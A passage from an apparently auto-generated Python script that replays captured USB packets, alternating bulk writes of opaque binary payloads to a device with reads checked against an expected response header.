b\"\\xC0\\xE8\\x58\\xED\\xFE\\x25\\x17\\x7C\\xA6\\xB9\\x04\\x0D\\x1E\\x95\\x0E\\x34\"\n b\"\\xC9\\xD2\\x7C\\x4C\\x35\\x59\\x42\\x6D\\x89\\xB7\\xC8\\xEF\\x7F\\x38\\xA1\\x5A\"\n b\"\\xBF\\xD6\\x8D\\x2B\\xF3\\x12\\x3E\\x33\\xCE\\x46\\x2A\\xBB\\x6F\\xAC\\x59\\xEB\"\n b\"\\x5B\\x9D\\xF3\\x12\\x28\\xB3\\x0E\\xEB\\x02\\x89\\x19\\x64\\x3D\\x99\\x56\\x93\"\n b\"\\x12\\x96\\xEB\\x88\\xCA\\x20\\x38\\xE6\\x35\\x69\\x71\\x62\\x22\\xE6\\x70\\x58\"\n b\"\\x65\\x40\\x70\\xCE\\xB8\\xB8\\x94\\x3A\\x85\\x67\\x3E\\xFF\\x51\\x6E\\x86\\xE6\"\n b\"\\x0C\\x34\\x55\\x70\\xA3\\x71\\xA8\\xCB\\x70\\x62\\x3F\\xDF\\xCA\\x68\\x03\\x89\"\n b\"\\x94\\xD0\\x63\\xBC\\xB7\\x49\\x29\\x7C\\x59\\xD3\\xAD\\xB0\\x34\\xC6\\x3A\\x9C\"\n b\"\\xC2\\xEE\\x13\\xB4\\x30\\xCD\\x3B\\x1E\\xC1\\x38\\x61\\xB9\\x12\\x2A\\xA8\\xB7\"\n b\"\\x1C\\x16\\xA6\\xFD\\xE1\\xFD\\xA7\\xBE\\xF6\\xE5\\x25\\xCC\\x78\\x54\\xA0\\x64\"\n b\"\\xE5\\xF0\\x17\\xAF\\xEE\\xFE\\x83\\xA1\\x44\\xAA\\x6D\\x5E\\x1E\\xE2\\xE0\\x03\"\n b\"\\xD0\\xE0\\xDB\\x7C\\xA6\\x8F\\xB3\\x15\\x5F\\x94\\x4A\\x52\")\n # Generated from packet 3043/3044\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3043/3044\")\n # Generated from packet 3045/3046\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x98\\x90\\x00\\xEF\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x22\\x32\\xE3\\x8A\\x22\\x1E\\xFF\\xA9\"\n b\"\\x23\\x58\\xEE\\x68\\xD0\\xE3\\x87\\x39\\x88\\x9A\\xEE\\x85\\xB0\\xB8\\xC7\\x56\"\n b\"\\xE4\\xFD\\x62\\x3E\\x57\\xC0\\x3F\\xFF\\xE4\\xE2\\x14\\xB4\\x89\\x96\\x3B\\x3C\"\n b\"\\x95\\x4F\\xFC\\x6D\\xB2\\x18\\xB2\\x10\\x00\\x9B\\xE2\\xEC\\x54\\xC8\\xE3\\x27\"\n b\"\\xDA\\xE7\\x28\\x4F\\x11\\x80\\x04\\x77\\x12\\x6E\\xDE\\x88\\x4D\\x07\\x9E\\x94\"\n b\"\\x4D\\x55\\x8B\\xFA\\x92\\xE8\\x77\\x5C\\x22\\x6B\\xD1\\x49\\x22\\xA7\\xE5\\xBE\"\n b\"\\x2E\\xF5\\x78\\x85\\x45\\x23\\x58\\x3D\\xE5\\x04\\x26\\x06\\xB7\\x70\\xCE\\x1C\"\n b\"\\xC2\\x12\\x51\\x14\\x0B\\x2C\\x5E\\x3B\\x1B\\x0C\\x56\\xD1\\xC0\\xC6\\x82\\xF5\"\n b\"\\x8B\\x1F\\x99\\x34\\x5A\\xAD\\x74\\x5E\\xF0\\xB3\\xD4\\x94\\xE2\\x67\\x78\\x83\"\n b\"\\x3E\\x8A\\x0D\\xC3\\x6A\\xAF\\xF7\\xD1\\x3B\\x30\\xD2\\xA5\\x8A\\x5B\\x76\\x2E\"\n b\"\\x53\\x05\\x5A\\x56\\x66\\xB2\\x19\\xEF\\x6F\\x1A\\x5D\\x03\\x89\\xE2\\x30\\x84\"\n b\"\\x28\\x77\\x25\\x7D\\x17\\x96\\xFC\\x4D\\xE6\\xF8\\x52\\xCB\\xB1\\x0D\\x06\\x70\"\n b\"\\xB9\\xEF\\x51\\xEE\\x20\\x20\\xEE\\x2F\\xC9\\x32\\x7A\\xA8\\xC5\\xEE\\xB2\\xFF\"\n b\"\\xE8\\xD8\\x88\\x1C\\x6F\\x8B\\x0E\\xC2\\xDA\\xD3\\x07\\x93\\xBC\\xC5\\x1E\\xED\"\n b\"\\x1B\\x4C\\x3D\\x49\\xBD\\x0E\\x66\\x21\\x78\\xE7\\xAE\\x84\\x42\\x39\\x64\\xDE\"\n b\"\\xD4\\x7E\\x8D\\xA2\\xA5\\x88\\xB3\\x6F\\xEA\\x19\\xEB\\xF3\\xF9\\x68\\x53\\xDF\"\n b\"\\xF3\\x51\\x84\\x98\\x81\\x29\\x78\\x13\\xBF\\x08\\xC4\\xFD\")\n # Generated from packet 3047/3048\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3047/3048\")\n # Generated from packet 3049/3050\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0D\\xC8\\x9E\\x14\\x10\\x35\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6F\\x4C\\x1D\\xB3\\x12\\x5B\\xFE\\xE2\"\n b\"\\xEE\\x0F\\xAD\\xE3\\x25\\x81\\x82\\x28\\x4D\\x4A\\xE5\\x04\\x75\\x49\\x0B\\xDE\"\n b\"\\x8A\\x16\\x62\\x9E\\x96\\x16\\x30\\x8B\\xF8\\xC9\\x8D\\x77\\x5E\\x79\\x0E\\xD1\"\n b\"\\x4B\\x79\\xC2\\xE5\\xBC\\x75\\x90\\x78\\x87\\x1E\\x46\\x58\\x3F\\xBE\\x61\\x26\"\n b\"\\x04\\xEC\\x15\\xCE\\x1E\\x99\\x77\\x51\\x16\\x50\\x49\\x5E\\x39\\x40\\x69\\x56\"\n b\"\\xD3\\x9B\\xA3\\x82\\xF7\\xD0\\x7A\\x99\\x36\\x01\\xC8\\x74\\x5C\\xAB\\xD6\\xD4\"\n b\"\\x96\\xB9\\x02\\x78\\x81\\x65\\xEF\\x0D\\xC1\\x31\\xCA\\xF7\\xD3\\x60\\x55\\xD2\"\n b\"\\xA7\\xD1\\x3E\\x76\\x2C\\x08\\x60\\x5A\\x54\\x3D\\xD7\\x19\\xED\\x34\\x7F\\x5D\"\n b\"\\x01\\xD2\\x87\\x30\\x86\\x73\\x12\\x25\\x7F\\x4C\\xF3\\xFC\\x4F\\xBD\\x9D\\x52\"\n b\"\\xC9\\xEA\\x68\\x06\\x72\\xE2\\x8A\\x51\\xEC\\x7B\\x45\\xEE\\x2D\\x92\\x57\\x7A\"\n b\"\\xAA\\x9E\\x8B\\xB2\\xFD\\xB3\\xBD\\x88\\x1E\\x34\\xEE\\x0E\\xC0\\x81\\xB6\\x07\"\n b\"\\x91\\xE7\\xA0\\x1E\\xEF\\x40\\x29\\x3D\\x4B\\xE6\\x6B\\x66\\x23\\x23\\x82\\xAE\"\n b\"\\x86\\x19\\x5C\\x64\\xDC\\x8F\\x1B\\x8D\\xA0\\xFE\\xED\\xB3\\x6D\\xB1\\x7C\\xEB\"\n b\"\\xF1\\xA2\\x0D\\x53\\xDD\\xA8\\x34\\x84\\x9A\\xDA\\x4C\\x78\\x11\\xE4\\x6D\\xC4\"\n b\"\\xFF\\x6E\\xEF\\x32\\x70\\x07\\x5A\\xF2\\x9E\\x2B\\x2B\\xBE\\x5A\\x98\\x33\\x83\"\n b\"\\x0E\\x8C\\xBB\\x22\\xE4\\xFF\\xEB\\x16\\xD5\\x55\\x12\\x65\\xFB\\xA8\\xEB\\x4F\"\n b\"\\xC1\\xBF\\x64\\x70\\xD1\\xF0\\x93\\x5F\\xDE\\x4D\\x88\\x87\")\n # Generated from packet 3051/3052\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3051/3052\")\n # Generated from packet 3053/3054\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5F\\x39\\x8C\\x28\\x50\\x35\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1E\\x95\\x29\\x5F\\x31\\x40\\x69\\x56\"\n b\"\\xDB\\x9B\\xA3\\x82\\xFF\\xD0\\x7A\\x99\\x3E\\x01\\xC8\\x74\\x54\\xAB\\xD6\\xD4\"\n b\"\\x9E\\xB9\\x02\\x78\\x89\\x65\\xEF\\x0D\\xC9\\x31\\xCA\\xF7\\xDB\\x60\\x55\\xD2\"\n b\"\\xAF\\xD1\\x3E\\x76\\x24\\x08\\x60\\x5A\\x5C\\x3D\\xD7\\x19\\xE5\\x34\\x7F\\x5D\"\n b\"\\x09\\xD2\\x87\\x30\\x8E\\x73\\x12\\x25\\x77\\x4C\\xF3\\xFC\\x47\\xBD\\x9D\\x52\"\n b\"\\xC1\\xEA\\x68\\x06\\x7A\\xE2\\x8A\\x51\\xE4\\x7B\\x45\\xEE\\x25\\x92\\x57\\x7A\"\n b\"\\xA2\\x9E\\x8B\\xB2\\xF5\\xB3\\xBD\\x88\\x16\\x34\\xEE\\x0E\\xC8\\x81\\xB6\\x07\"\n b\"\\x99\\xE7\\xA0\\x1E\\xE7\\x40\\x29\\x3D\\x43\\xE6\\x6B\\x66\\x2B\\x23\\x82\\xAE\"\n b\"\\x8E\\x19\\x5C\\x64\\xD4\\x8F\\x1B\\x8D\\xA8\\xFE\\xED\\xB3\\x65\\xB1\\x7C\\xEB\"\n b\"\\xF9\\xA2\\x0D\\x53\\xD5\\xA8\\x34\\x84\\x92\\xDA\\x4C\\x78\\x19\\xE4\\x6D\\xC4\"\n b\"\\xF7\\x6E\\xEF\\x32\\x78\\x07\\x5A\\xF2\\x96\\x2B\\x2B\\xBE\\x52\\x98\\x33\\x83\"\n b\"\\x06\\x8C\\xBB\\x22\\xEC\\xFF\\xEB\\x16\\xDD\\x55\\x12\\x65\\xF3\\xA8\\xEB\\x4F\"\n b\"\\xC9\\xBF\\x64\\x70\\xD9\\xF0\\x93\\x5F\\xD6\\x4D\\x88\\x87\\x60\\x9E\\xE6\\x78\"\n b\"\\x29\\xD7\\x62\\x6F\\xA6\\xD6\\x58\\x28\\x00\\xD6\\xCE\\xF5\\xF8\\x32\\x3A\\xC8\"\n b\"\\x27\\x98\\xFF\\x1C\\x2E\\x20\\xE6\\x41\\x74\\xF3\\x70\\xEE\\x31\\x0E\\xCB\\x3D\"\n b\"\\x22\\x99\\xDF\\x87\\x28\\xA5\\x89\\xD9\\x90\\xC5\\xBC\\xFA\\x09\\x8F\\x7C\\x14\"\n b\"\\x93\\x0B\\xB0\\x79\\x86\\x9C\\x9C\\x8F\\xAE\\xB5\\xB4\\x7D\")\n # Generated from packet 3055/3056\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3055/3056\")\n # Generated from packet 3057/3058\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x91\\x69\\x82\\x3C\\x9B\\x0B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE4\\x4E\\x97\\xD0\\xB5\\x34\\xD2\\xA5\"\n b\"\\x04\\x5F\\x76\\x2E\\xDD\\x01\\x5A\\x56\\xE8\\xB6\\x19\\xEF\\xE1\\x1E\\x5D\\x03\"\n b\"\\x07\\xE6\\x30\\x84\\xA6\\x73\\x25\\x7D\\x99\\x92\\xFC\\x4D\\x68\\xFC\\x52\\xCB\"\n b\"\\x3F\\x09\\x06\\x70\\x37\\xEB\\x51\\xEE\\xAE\\x24\\xEE\\x2F\\x47\\x36\\x7A\\xA8\"\n b\"\\x4B\\xEA\\xB2\\xFF\\x66\\xDC\\x88\\x1C\\xE1\\x8F\\x0E\\xC2\\x54\\xD7\\x07\\x93\"\n b\"\\x32\\xC1\\x1E\\xED\\x95\\x48\\x3D\\x49\\x33\\x0A\\x66\\x21\\xF6\\xE3\\xAE\\x84\"\n b\"\\xCC\\x3D\\x64\\xDE\\x5A\\x7A\\x8D\\xA2\\x2B\\x8C\\xB3\\x6F\\x64\\x1D\\xEB\\xF3\"\n b\"\\x77\\x6C\\x53\\xDF\\x7D\\x55\\x84\\x98\\x0F\\x2D\\x78\\x13\\x31\\x0C\\xC4\\xFD\"\n b\"\\xBB\\x8E\\x32\\x72\\xD2\\x3B\\xF2\\x9C\\xFE\\x4A\\xBE\\x58\\x4D\\x52\\x83\\x0C\"\n b\"\\x59\\xDA\\x22\\xE6\\x2A\\x8A\\x16\\xD7\\x80\\x73\\x65\\xF9\\x7D\\x8A\\x4F\\xC3\"\n b\"\\x6A\\x05\\x70\\xD3\\x25\\xF2\\x5F\\xDC\\x98\\xE9\\x87\\x6A\\x4B\\x87\\x78\\x23\"\n b\"\\x02\\x03\\x6F\\xAC\\x03\\x39\\x28\\x0A\\x03\\xAF\\xF5\\xF2\\xE7\\x5B\\xC8\\x2D\"\n b\"\\x4D\\x9E\\x1C\\x24\\xF5\\x87\\x41\\x7E\\x26\\x11\\xEE\\x3B\\xDB\\xAA\\x3D\\x28\"\n b\"\\x4C\\xBE\\x87\\x22\\x70\\xE8\\xD9\\x9A\\x10\\xDD\\xFA\\x03\\x5A\\x1D\\x14\\x99\"\n b\"\\xDE\\xD1\\x79\\x8C\\x49\\xFD\\x8F\\xA4\\x60\\xD5\\x7D\\x87\\x48\\x7F\\x8C\\x72\"\n b\"\\x12\\xD8\\x5F\\x60\\xDB\\xD6\\x51\\x5C\\xD5\\x9C\\xAC\\xB7\\xD4\\xDF\\xBB\\xAF\"\n b\"\\x56\\xAD\\x35\\x1E\\xD3\\x05\\xA8\\xBA\\x64\\xCE\\xA3\\xB4\")\n # Generated from packet 3059/3060\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3059/3060\")\n # Generated from packet 3061/3062\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2A\\x57\\x4F\\x6B\\xC8\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1D\\x4A\\x15\\x24\\x02\\x71\\x22\\x48\"\n b\"\\x3E\\xC8\\x8B\\xD8\\x88\\x77\\xD2\\x83\\x92\\x77\\x7B\\xFF\\xB0\\x76\\x3D\\xEE\"\n b\"\\x71\\x85\\x86\\x87\\x20\\xDD\\xFF\\xEE\\x9C\\xE5\\xDD\\xC7\\x4F\\xB1\\x98\\x62\"\n b\"\\x27\\x02\\xA5\\x3F\\xE6\\xB1\\x87\\x14\\xAD\\xDC\\xF3\\x3B\\x25\\xC0\\x2A\\xFC\"\n b\"\\x74\\xE7\\x7D\\xB2\\x09\\x55\\xFE\\xE2\\xF5\\x01\\xAD\\xE3\\x3E\\x8F\\x82\\x28\"\n b\"\\x56\\x44\\xE5\\x04\\x6E\\x47\\x0B\\xDE\\x91\\x18\\x62\\x9E\\x8D\\x18\\x30\\x8B\"\n b\"\\xE3\\xC7\\x8D\\x77\\x45\\x77\\x0E\\xD1\\x50\\x77\\xC2\\xE5\\xA7\\x7B\\x90\\x78\"\n b\"\\x9C\\x10\\x46\\x58\\x24\\xB0\\x61\\x26\\x1F\\xE2\\x15\\xCE\\x05\\x97\\x77\\x51\"\n b\"\\x0D\\x5E\\x49\\x5E\\x22\\x4E\\x69\\x56\\xC8\\x95\\xA3\\x82\\xEC\\xDE\\x7A\\x99\"\n b\"\\x2D\\x0F\\xC8\\x74\\x47\\xA5\\xD6\\xD4\\x8D\\xB7\\x02\\x78\\x9A\\x6B\\xEF\\x0D\"\n b\"\\xDA\\x3F\\xCA\\xF7\\xC8\\x6E\\x55\\xD2\\xBC\\xDF\\x3E\\x76\\x37\\x06\\x60\\x5A\"\n b\"\\x4F\\x33\\xD7\\x19\\xF6\\x3A\\x7F\\x5D\\x1A\\xDC\\x87\\x30\\x9D\\x7D\\x12\\x25\"\n b\"\\x64\\x42\\xF3\\xFC\\x54\\xB3\\x9D\\x52\\xD2\\xE4\\x68\\x06\\x69\\xEC\\x8A\\x51\"\n b\"\\xF7\\x75\\x45\\xEE\\x36\\x9C\\x57\\x7A\\xB1\\x90\\x8B\\xB2\\xE6\\xBD\\xBD\\x88\"\n b\"\\x05\\x3A\\xEE\\x0E\\xDB\\x8F\\xB6\\x07\\x8A\\xE9\\xA0\\x1E\\xF4\\x4E\\x29\\x3D\"\n b\"\\x50\\xE8\\x6B\\x66\\x38\\x2D\\x82\\xAE\\x9D\\x17\\x5C\\x64\\xC7\\x81\\x1B\\x8D\"\n b\"\\xBB\\xF0\\xED\\xB3\\x76\\xBF\\x7C\\xEB\\xEA\\xAC\\x0D\\x53\")\n # Generated from packet 3063/3064\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3063/3064\")\n # Generated from packet 3065/3066\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE4\\x07\\x41\\x7F\\x81\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x5A\\x1A\\xA9\\x08\\xA0\\xB2\\xFF\"\n b\"\\x25\\x96\\x88\\x1C\\xA2\\xC5\\x0E\\xC2\\x17\\x9D\\x07\\x93\\x71\\x8B\\x1E\\xED\"\n b\"\\xD6\\x02\\x3D\\x49\\x70\\x40\\x66\\x21\\xB5\\xA9\\xAE\\x84\\x8F\\x77\\x64\\xDE\"\n b\"\\x19\\x30\\x8D\\xA2\\x68\\xC6\\xB3\\x6F\\x27\\x57\\xEB\\xF3\\x34\\x26\\x53\\xDF\"\n b\"\\x3E\\x1F\\x84\\x98\\x4C\\x67\\x78\\x13\\x72\\x46\\xC4\\xFD\\xF8\\xC4\\x32\\x72\"\n b\"\\x91\\x71\\xF2\\x9C\\xBD\\x00\\xBE\\x58\\x0E\\x18\\x83\\x0C\\x1A\\x90\\x22\\xE6\"\n b\"\\x69\\xC0\\x16\\xD7\\xC3\\x39\\x65\\xF9\\x3E\\xC0\\x4F\\xC3\\x29\\x4F\\x70\\xD3\"\n b\"\\x66\\xB8\\x5F\\xDC\\xDB\\xA3\\x87\\x6A\\x08\\xCD\\x78\\x23\\x41\\x49\\x6F\\xAC\"\n b\"\\x40\\x73\\x28\\x0A\\x40\\xE5\\xF5\\xF2\\xA4\\x11\\xC8\\x2D\\x0E\\xD4\\x1C\\x24\"\n b\"\\xB6\\xCD\\x41\\x7E\\x65\\x5B\\xEE\\x3B\\x98\\xE0\\x3D\\x28\\x0F\\xF4\\x87\\x22\"\n b\"\\x33\\xA2\\xD9\\x9A\\x53\\x97\\xFA\\x03\\x19\\x57\\x14\\x99\\x9D\\x9B\\x79\\x8C\"\n b\"\\x0A\\xB7\\x8F\\xA4\\x23\\x9F\\x7D\\x87\\x0B\\x35\\x8C\\x72\\x51\\x92\\x5F\\x60\"\n b\"\\x98\\x9C\\x51\\x5C\\x96\\xD6\\xAC\\xB7\\x97\\x95\\xBB\\xAF\\x15\\xE7\\x35\\x1E\"\n b\"\\x90\\x4F\\xA8\\xBA\\x27\\x84\\xA3\\xB4\\xB3\\x8A\\x09\\xE0\\x5D\\x75\\x53\\xA8\"\n b\"\\xD0\\x28\\x9D\\xAA\\xEB\\x57\\xEB\\xC5\\x83\\x3E\\x12\\xDE\\x7A\\x79\\x04\\xF1\"\n b\"\\xE1\\xFD\\x33\\x93\\xAA\\x48\\x5A\\x8F\\x6D\\xC9\\x5D\\xFA\\x31\\x88\\x08\\xE3\"\n b\"\\xA3\\xB8\\xF4\\x88\\x5C\\xA1\\x41\\x6A\\xE8\\xF0\\x12\\x3E\")\n # Generated from packet 3067/3068\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3067/3068\")\n # Generated from packet 3069/3070\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\xF6\\x53\\x43\\x43\\x2B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\xE1\\x85\\xBF\\xBB\\xF5\\x78\\x85\"\n b\"\\xD0\\x23\\x58\\x3D\\x70\\x04\\x26\\x06\\x22\\x70\\xCE\\x1C\\x57\\x12\\x51\\x14\"\n b\"\\x9E\\x2C\\x5E\\x3B\\x8E\\x0C\\x56\\xD1\\x55\\xC6\\x82\\xF5\\x1E\\x1F\\x99\\x34\"\n b\"\\xCF\\xAD\\x74\\x5E\\x65\\xB3\\xD4\\x94\\x77\\x67\\x78\\x83\\xAB\\x8A\\x0D\\xC3\"\n b\"\\xFF\\xAF\\xF7\\xD1\\xAE\\x30\\xD2\\xA5\\x1F\\x5B\\x76\\x2E\\xC6\\x05\\x5A\\x56\"\n b\"\\xF3\\xB2\\x19\\xEF\\xFA\\x1A\\x5D\\x03\\x1C\\xE2\\x30\\x84\\xBD\\x77\\x25\\x7D\"\n b\"\\x82\\x96\\xFC\\x4D\\x73\\xF8\\x52\\xCB\\x24\\x0D\\x06\\x70\\x2C\\xEF\\x51\\xEE\"\n b\"\\xB5\\x20\\xEE\\x2F\\x5C\\x32\\x7A\\xA8\\x50\\xEE\\xB2\\xFF\\x7D\\xD8\\x88\\x1C\"\n b\"\\xFA\\x8B\\x0E\\xC2\\x4F\\xD3\\x07\\x93\\x29\\xC5\\x1E\\xED\\x8E\\x4C\\x3D\\x49\"\n b\"\\x28\\x0E\\x66\\x21\\xED\\xE7\\xAE\\x84\\xD7\\x39\\x64\\xDE\\x41\\x7E\\x8D\\xA2\"\n b\"\\x30\\x88\\xB3\\x6F\\x7F\\x19\\xEB\\xF3\\x6C\\x68\\x53\\xDF\\x66\\x51\\x84\\x98\"\n b\"\\x14\\x29\\x78\\x13\\x2A\\x08\\xC4\\xFD\\xA0\\x8A\\x32\\x72\\xC9\\x3F\\xF2\\x9C\"\n b\"\\xE5\\x4E\\xBE\\x58\\x56\\x56\\x83\\x0C\\x42\\xDE\\x22\\xE6\\x31\\x8E\\x16\\xD7\"\n b\"\\x9B\\x77\\x65\\xF9\\x66\\x8E\\x4F\\xC3\\x71\\x01\\x70\\xD3\\x3E\\xF6\\x5F\\xDC\"\n b\"\\x83\\xED\\x87\\x6A\\x50\\x83\\x78\\x23\\x19\\x07\\x6F\\xAC\\x18\\x3D\\x28\\x0A\"\n b\"\\x18\\xAB\\xF5\\xF2\\xFC\\x5F\\xC8\\x2D\\x56\\x9A\\x1C\\x24\\xEE\\x83\\x41\\x7E\"\n b\"\\x3D\\x15\\xEE\\x3B\\xC0\\xAE\\x3D\\x28\\x57\\xBA\\x87\\x22\")\n # Generated from packet 3071/3072\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3071/3072\")\n # Generated from packet 3073/3074\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x78\\xA6\\x5D\\x57\\x29\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\xA6\\x75\\xCF\\x39\\xB5\\x77\\x51\"\n b\"\\x31\\x7C\\x49\\x5E\\x1E\\x6C\\x69\\x56\\xF4\\xB7\\xA3\\x82\\xD0\\xFC\\x7A\\x99\"\n b\"\\x11\\x2D\\xC8\\x74\\x7B\\x87\\xD6\\xD4\\xB1\\x95\\x02\\x78\\xA6\\x49\\xEF\\x0D\"\n b\"\\xE6\\x1D\\xCA\\xF7\\xF4\\x4C\\x55\\xD2\\x80\\xFD\\x3E\\x76\\x0B\\x24\\x60\\x5A\"\n b\"\\x73\\x11\\xD7\\x19\\xCA\\x18\\x7F\\x5D\\x26\\xFE\\x87\\x30\\xA1\\x5F\\x12\\x25\"\n b\"\\x58\\x60\\xF3\\xFC\\x68\\x91\\x9D\\x52\\xEE\\xC6\\x68\\x06\\x55\\xCE\\x8A\\x51\"\n b\"\\xCB\\x57\\x45\\xEE\\x0A\\xBE\\x57\\x7A\\x8D\\xB2\\x8B\\xB2\\xDA\\x9F\\xBD\\x88\"\n b\"\\x39\\x18\\xEE\\x0E\\xE7\\xAD\\xB6\\x07\\xB6\\xCB\\xA0\\x1E\\xC8\\x6C\\x29\\x3D\"\n b\"\\x6C\\xCA\\x6B\\x66\\x04\\x0F\\x82\\xAE\\xA1\\x35\\x5C\\x64\\xFB\\xA3\\x1B\\x8D\"\n b\"\\x87\\xD2\\xED\\xB3\\x4A\\x9D\\x7C\\xEB\\xD6\\x8E\\x0D\\x53\\xFA\\x84\\x34\\x84\"\n b\"\\xBD\\xF6\\x4C\\x78\\x36\\xC8\\x6D\\xC4\\xD8\\x42\\xEF\\x32\\x57\\x2B\\x5A\\xF2\"\n b\"\\xB9\\x07\\x2B\\xBE\\x7D\\xB4\\x33\\x83\\x29\\xA0\\xBB\\x22\\xC3\\xD3\\xEB\\x16\"\n b\"\\xF2\\x79\\x12\\x65\\xDC\\x84\\xEB\\x4F\\xE6\\x93\\x64\\x70\\xF6\\xDC\\x93\\x5F\"\n b\"\\xF9\\x61\\x88\\x87\\x4F\\xB2\\xE6\\x78\\x06\\xFB\\x62\\x6F\\x89\\xFA\\x58\\x28\"\n b\"\\x2F\\xFA\\xCE\\xF5\\xD7\\x1E\\x3A\\xC8\\x08\\xB4\\xFF\\x1C\\x01\\x0C\\xE6\\x41\"\n b\"\\x5B\\xDF\\x70\\xEE\\x1E\\x22\\xCB\\x3D\\x0D\\xB5\\xDF\\x87\\x07\\x89\\x89\\xD9\"\n b\"\\xBF\\xE9\\xBC\\xFA\\x26\\xA3\\x7C\\x14\\xBC\\x27\\xB0\\x79\")\n # Generated from packet 3075/3076\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3075/3076\")\n # Generated from packet 3077/3078\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x12\\x14\\x76\\x3B\\x28\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x71\\xD6\\x6D\\xD7\\xD1\\x9A\\x1F\\x02\"\n b\"\\x7D\\x8D\\xC3\\xEF\\x08\\xCD\\x97\\xCA\\xF2\\xDF\\xC6\\x55\\xD7\\xAB\\x77\\x3E\"\n b\"\\x73\\x20\\xAE\\x60\\x5F\\x58\\x9B\\xD7\\x1C\\xE1\\x92\\x7F\\x58\\x0D\\x74\\x87\"\n b\"\\x35\\x8A\\xD5\\x12\\x20\\x73\\xEA\\xF3\\xF9\\x43\\x1B\\x9D\\x57\\xC5\\x4C\\x68\"\n b\"\\x03\\x7E\\x44\\x8A\\x54\\xE0\\xDD\\x45\\xEB\\x21\\x34\\x57\\x7F\\xA6\\x38\\x8B\"\n b\"\\xB7\\xF1\\x15\\xBD\\x8D\\x12\\x92\\xEE\\x0B\\xCC\\x27\\xB6\\x02\\x9D\\x41\\xA0\"\n b\"\\x1B\\xE3\\xE6\\x29\\x38\\x47\\x40\\x6B\\x63\\x2F\\x85\\x82\\xAB\\x8A\\xBF\\x5C\"\n b\"\\x61\\xD0\\x29\\x1B\\x88\\xAC\\x58\\xED\\xB6\\x61\\x17\\x7C\\xEE\\xFD\\x04\\x0D\"\n b\"\\x56\\xD1\\x0E\\x34\\x81\\x96\\x7C\\x4C\\x7D\\x1D\\x42\\x6D\\xC1\\xF3\\xC8\\xEF\"\n b\"\\x37\\x7C\\xA1\\x5A\\xF7\\x92\\x8D\\x2B\\xBB\\x56\\x3E\\x33\\x86\\x02\\x2A\\xBB\"\n b\"\\x27\\xE8\\x59\\xEB\\x13\\xD9\\xF3\\x12\\x60\\xF7\\x0E\\xEB\\x4A\\xCD\\x19\\x64\"\n b\"\\x75\\xDD\\x56\\x93\\x5A\\xD2\\xEB\\x88\\x82\\x64\\x38\\xE6\\x7D\\x2D\\x71\\x62\"\n b\"\\x6A\\xA2\\x70\\x58\\x2D\\x04\\x70\\xCE\\xF0\\xFC\\x94\\x3A\\xCD\\x23\\x3E\\xFF\"\n b\"\\x19\\x2A\\x86\\xE6\\x44\\x70\\x55\\x70\\xEB\\x35\\xA8\\xCB\\x38\\x26\\x3F\\xDF\"\n b\"\\x82\\x2C\\x03\\x89\\xDC\\x94\\x63\\xBC\\xFF\\x0D\\x29\\x7C\\x11\\x97\\xAD\\xB0\"\n b\"\\x7C\\x82\\x3A\\x9C\\x8A\\xAA\\x13\\xB4\\x78\\x89\\x3B\\x1E\\x89\\x7C\\x61\\xB9\"\n b\"\\x5A\\x6E\\xA8\\xB7\\x54\\x52\\xA6\\xFD\\xA9\\xB9\\xA7\\xBE\")\n # Generated from packet 3079/3080\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3079/3080\")\n # Generated from packet 3081/3082\n bulkWrite(0x01, 